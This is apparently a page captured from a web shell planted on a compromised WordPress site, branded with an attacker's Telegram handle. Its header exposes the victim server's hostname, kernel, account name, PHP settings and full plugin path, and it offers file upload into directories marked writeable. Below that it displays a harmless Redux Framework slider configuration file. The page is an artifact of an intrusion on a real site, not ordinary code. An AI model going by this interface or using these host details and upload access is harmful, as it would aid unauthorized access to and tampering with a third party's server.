https://t.me/AnonymousX5
Server : Apache
System : Linux ls31.server.ly 3.10.0-962.3.2.lve1.5.68.el7.x86_64 #1 SMP Wed Apr 6 11:12:23 UTC 2022 x86_64
User : medchoco ( 2906)
PHP Version : 8.3.16
Disable Function : mail
Directory :  /home/medchoco/www/wp-content/plugins/redux-framework/sample/sections/slider-spinner/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/medchoco/www/wp-content/plugins/redux-framework/sample/sections/slider-spinner/slider.php
<?php
/**
 * Redux Framework slider config.
 * For full documentation, please visit: http://devs.redux.io/
 *
 * @package Redux Framework
 */

defined( 'ABSPATH' ) || exit;

Redux::set_section(
	$opt_name,
	array(
		'title'      => esc_html__( 'Slider', 'your-textdomain-here' ),
		'id'         => 'slider_spinner-slider',
		'desc'       => esc_html__( 'For full documentation on this field, visit: ', 'your-textdomain-here' ) . '<a href="https://devs.redux.io/core-fields/slider.html" target="_blank">https://devs.redux.io/core-fields/slider.html</a>',
		'fields'     => array(
			array(
				'id'            => 'opt-slider-label',
				'type'          => 'slider',
				'title'         => esc_html__( 'Slider Example 1', 'your-textdomain-here' ),
				'subtitle'      => esc_html__( 'This slider displays the value as a label.', 'your-textdomain-here' ),
				'desc'          => esc_html__( 'Slider description. Min: 1, max: 500, step: 1, default value: 250', 'your-textdomain-here' ),
				'default'       => 250,
				'min'           => 1,
				'step'          => 1,
				'max'           => 500,
				'display_value' => 'label',
			),
			array(
				'id'            => 'opt-slider-text',
				'type'          => 'slider',
				'title'         => esc_html__( 'Slider Example 2 with Steps (5)', 'your-textdomain-here' ),
				'subtitle'      => esc_html__( 'This example displays the value in a text box', 'your-textdomain-here' ),
				'desc'          => esc_html__( 'Slider description. Min: 0, max: 300, step: 5, default value: 75', 'your-textdomain-here' ),
				'default'       => 75,
				'min'           => 0,
				'step'          => 5,
				'max'           => 300,
				'display_value' => 'text',
			),
			array(
				'id'            => 'opt-slider-select',
				'type'          => 'slider',
				'title'         => esc_html__( 'Slider Example 3 with two sliders', 'your-textdomain-here' ),
				'subtitle'      => esc_html__( 'This example displays the values in select boxes', 'your-textdomain-here' ),
				'desc'          => esc_html__( 'Slider description. Min: 0, max: 500, step: 5, slider 1 default value: 100, slider 2 default value: 300', 'your-textdomain-here' ),
				'default'       => array(
					1 => 100,
					2 => 300,
				),
				'min'           => 0,
				'step'          => 5,
				'max'           => '500',
				'display_value' => 'select',
				'handles'       => 2,
			),
			array(
				'id'            => 'opt-slider-float',
				'type'          => 'slider',
				'title'         => esc_html__( 'Slider Example 4 with float values', 'your-textdomain-here' ),
				'subtitle'      => esc_html__( 'This example displays float values', 'your-textdomain-here' ),
				'desc'          => esc_html__( 'Slider description. Min: 0, max: 1, step: .1, default value: .5', 'your-textdomain-here' ),
				'default'       => .5,
				'min'           => 0,
				'step'          => .1,
				'max'           => 1,
				'resolution'    => 0.1,
				'display_value' => 'text',
			),
		),
		'subsection' => true,
	)
);

https://t.me/AnonymousX5 - 2025